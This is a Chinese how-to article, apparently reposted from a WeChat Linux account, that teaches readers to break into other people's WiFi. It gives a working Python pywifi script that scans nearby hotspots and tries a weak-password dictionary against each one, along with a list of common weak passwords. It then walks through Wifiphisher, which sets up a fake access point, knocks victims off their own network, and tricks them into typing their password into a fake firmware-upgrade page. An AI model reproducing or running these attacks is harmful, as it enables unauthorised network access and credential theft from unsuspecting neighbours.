WIFI破解,Python程序員必學(xué)技能。WIFI已經(jīng)完全普及,現(xiàn)在Python程序員沒(méi)網(wǎng),走到哪里都不怕!教你們一招,如何在圖片中提取Python腳本代碼。圖片發(fā)送至手機(jī)QQ長(zhǎng)按后點(diǎn)識(shí)別圖片中漢字,如果你還不知曉,趕緊去試一試,能給我們減少很大的工作量。
想要WIFI破解,python+字典,這是是少不了的。熱點(diǎn)加弱口令也是核心。字典自己加精,你的字典有強(qiáng)大,你能破解的WIFI就越多。后面就不再提了。提供兩種方法,一般人學(xué)到一種即可。
方法一
環(huán)境準(zhǔn)備
python2.7
pywifi模塊
字典
清除系統(tǒng)中的任何wifi連接記錄
導(dǎo)入模塊
這里用的模塊就這三個(gè) pywifi的_wifiutil_linux.py腳本的 _send_cmd_to_wpas方法中的if reply != b'OK ':判斷需要修改,不然會(huì)有很多的提示信息。
from pywifi import *import timeimport sys
字典準(zhǔn)備
隨機(jī)搞的wifi弱口令TOP10
123456781234567898888888812345678900000000087654321666688881122334414725836911111111
配置掃描器
推薦掃描時(shí)常可以設(shè)置在15-20秒之間 測(cè)試時(shí)常則可以自定義,考慮到認(rèn)證速度于距離的關(guān)系,我一般設(shè)置在15左右,再久的也沒(méi)意義 到時(shí)候就算破解成功的熱點(diǎn),信號(hào)也好不到哪里。
def main(): #掃描時(shí)常 scantimes = 3 #單個(gè)密碼測(cè)試延遲 testtimes = 15 output = sys.stdout #結(jié)果文件保存路徑 files = "TestRes.txt" #字典列表 keys = open(sys.argv[1],"r").readlines() print "|KEYS %s"%(len(keys)) #實(shí)例化一個(gè)pywifi對(duì)象 wifi = PyWiFi() #選擇定一個(gè)網(wǎng)卡并賦值于iface iface = wifi.interfaces()[0] #通過(guò)iface進(jìn)行一個(gè)時(shí)常為scantimes的掃描并獲取附近的熱點(diǎn)基礎(chǔ)配置 scanres = scans(iface,scantimes) #統(tǒng)計(jì)附近被發(fā)現(xiàn)的熱點(diǎn)數(shù)量 nums = len(scanres) print "|SCAN GET %s"%(nums) print "%s %-*s| %-*s| %-*s| %-*s | %-*s | %-*s %*s %s"%("-"*70,6,"WIFIID",18,"SSID OR BSSID",2,"N",4,"time",7,"signal",10,"KEYNUM",10,"KEY","="*70) #將每一個(gè)熱點(diǎn)信息逐一進(jìn)行測(cè)試 for i,x in enumerate(scanres): #測(cè)試完畢后,成功的結(jié)果講存儲(chǔ)到files中 res = test(nums-i,iface,x,keys,output,testtimes) if res: open(files,"a").write(res)
掃描周?chē)鸁狳c(diǎn)
def scans(face,timeout): #開(kāi)始掃描 face.scan() time.sleep(timeout) #在若干秒后獲取掃描結(jié)果 return face.scan_results()
熱點(diǎn)測(cè)試
這里后續(xù)推薦將掃描過(guò)程數(shù)據(jù)入庫(kù),防止重復(fù)掃描,且更加直觀。
def test(i,face,x,key,stu,ts): #顯示對(duì)應(yīng)網(wǎng)絡(luò)名稱(chēng),考慮到部分中文名嘖顯示bssid showID = x.bssid if len(x.ssid)>len(x.bssid) else x.ssid #迭代字典并進(jìn)行爆破 for n,k in enumerate(key): x.key = k.strip() #移除所有熱點(diǎn)配置 face.remove_all_network_profiles() #講封裝好的目標(biāo)嘗試連接 face.connect(face.add_network_profile(x)) #初始化狀態(tài)碼,考慮到用0會(huì)發(fā)生些邏輯錯(cuò)誤 code = 10 t1 = time.time() #循環(huán)刷新?tīng)顟B(tài),如果置為0則密碼錯(cuò)誤,如超時(shí)則進(jìn)行下一個(gè) while code!=0 : time.sleep(0.1) code = face.status() now = time.time()-t1 if now>ts: break stu.write(" %-*s| %-*s| %s |%*.2fs| %-*s | %-*s %*s"%(6,i,18,showID,code,5,now,7,x.signal,10,len(key)-n,10,k.replace(" ",""))) stu.flush() if code == 4: face.disconnect() return "%-*s| %s | %*s |%*s "%(20,x.ssid,x.bssid,3,x.signal,15,k) return False
案例
這里顯示本次測(cè)試使用了11個(gè)弱口令,并掃描到了20個(gè)熱點(diǎn),然后開(kāi)始坑爹的跑起來(lái)了
WIFIID熱點(diǎn)的id號(hào) 每跑一個(gè)會(huì)減1
SSID OR BSSID熱點(diǎn)的ssid名或mac地址
N對(duì)熱點(diǎn)的連接狀態(tài),這個(gè)在
time當(dāng)前所花去的時(shí)間
signal熱點(diǎn)的信號(hào)強(qiáng)度,若小越好
KEYNUM測(cè)試密碼的id 每跑一個(gè)會(huì)減1
KEY當(dāng)前測(cè)試的密碼
方法二
目前常見(jiàn)的Wi-Fi加密方式有WEP、WPA2和WPS(鏈接為各自的破解方式),不過(guò)有網(wǎng)友反映以往破解WPA2的方法耗時(shí)太長(zhǎng),而且不適用于所有WPS啟動(dòng)的接入點(diǎn)。而今天介紹的這種方法則更加省時(shí)省力。
主要原理
創(chuàng)建一個(gè)偽AP來(lái)“貍貓換太子”,然后撤銷(xiāo)用戶(hù)AP的授權(quán),
通知用戶(hù)需要進(jìn)行“固件升級(jí)”,需要重新驗(yàn)證密碼。你的假AP由于具有相同的SSID,用戶(hù)便會(huì)“交代”密碼。
這樣你就能得到用戶(hù)的密碼,并且讓用戶(hù)采用你的偽AP做為自己的接入點(diǎn)。而對(duì)方一無(wú)所知。
之前也有類(lèi)似的腳本,例如Airsnarf;不過(guò)我們這次采用的是Wifiphisher,這個(gè)優(yōu)化過(guò)的自動(dòng)化腳本比起前者更加方便。
要完成上述“大業(yè)”,你需要KaliLinux和兩個(gè)無(wú)線(xiàn)適配器,其中一個(gè)必須能支持?jǐn)?shù)據(jù)包注入。
第一步:下載Wifiphisher
如圖所示,這是已經(jīng)解開(kāi)了的Wifiphisher源代碼。
當(dāng)然,如果你懶,也可以復(fù)制GitHub上的代碼,不用謝~
第二步:導(dǎo)航到該目錄
接下來(lái),導(dǎo)航到Wifiphisher創(chuàng)建時(shí)被解壓的目錄。就圖示而言,為/wifiphisherWi-Fi1.1。
當(dāng)你看到目錄內(nèi)容時(shí),你會(huì)看到wifiphisher.py的腳本。
第三步:運(yùn)行腳本
可以鍵入下面的腳本實(shí)現(xiàn)。
kali > python wifiphisher.py
注意這里有一個(gè)問(wèn)題:
如果是第一次運(yùn)行腳本的話(huà),它可能會(huì)出現(xiàn)提示安裝hostpad的信息,鍵入Y繼續(xù)安裝即可。
完成的時(shí)候,再次運(yùn)行Wifiphisher腳本。
這次將運(yùn)行8080和43端口的Web服務(wù)器,然后開(kāi)始搜索附近的Wi-Fi網(wǎng)絡(luò)。
等待搜索完成,我們會(huì)發(fā)現(xiàn)一系列Wi-Fi網(wǎng)絡(luò)名。最下方的wonderhowto就是我們的目標(biāo)。
第四步:獲取密碼
按下Ctrl+C,鍵入想要復(fù)制的AP數(shù),在這里我們選擇12。
敲下回車(chē),Wifiphisher會(huì)顯示如下結(jié)果,顯示了正在使用的界面,還有正被攻擊及復(fù)制的AP所在的SSID。
目標(biāo)用戶(hù)已經(jīng)取消驗(yàn)證他們的AP,隨后會(huì)出現(xiàn)一個(gè)固件升級(jí)的信息,請(qǐng)求他們重新驗(yàn)證。一旦重新驗(yàn)證,他們接入的就是偽接入點(diǎn)了。
當(dāng)用戶(hù)輸入密碼,它會(huì)通過(guò)Wifiphisher的開(kāi)放終端傳輸給你,隨后他們依然像平時(shí)一樣上網(wǎng),風(fēng)平浪靜,然而他們并不知道我們已經(jīng)獲得了密碼。
現(xiàn)在你可以開(kāi)始愉快地蹭Wi-Fi了!
-
WIFI
+關(guān)注
關(guān)注
81文章
5370瀏覽量
207404 -
python
+關(guān)注
關(guān)注
56文章
4823瀏覽量
86148
原文標(biāo)題:學(xué)了Python后,我走哪里都可以連WIFI!為什么?反正就是這么強(qiáng)!
文章出處:【微信號(hào):magedu-Linux,微信公眾號(hào):馬哥Linux運(yùn)維】歡迎添加關(guān)注!文章轉(zhuǎn)載請(qǐng)注明出處。
發(fā)布評(píng)論請(qǐng)先 登錄
請(qǐng)問(wèn)python如何返回元組,列表或字典的?
python字典
python字典高階用法
python合并字典的 7 種方法
python字典類(lèi)型的使用和注意事項(xiàng)

如何在Python3中合并字典

如何通過(guò)Python腳本實(shí)現(xiàn)WIFI密碼的暴力破解

python字典是什么
通過(guò)Python腳本實(shí)現(xiàn)WIFI密碼的暴力破解
簡(jiǎn)述python字典映射嵌套排序和判斷
Python序列的字典類(lèi)型介紹

評(píng)論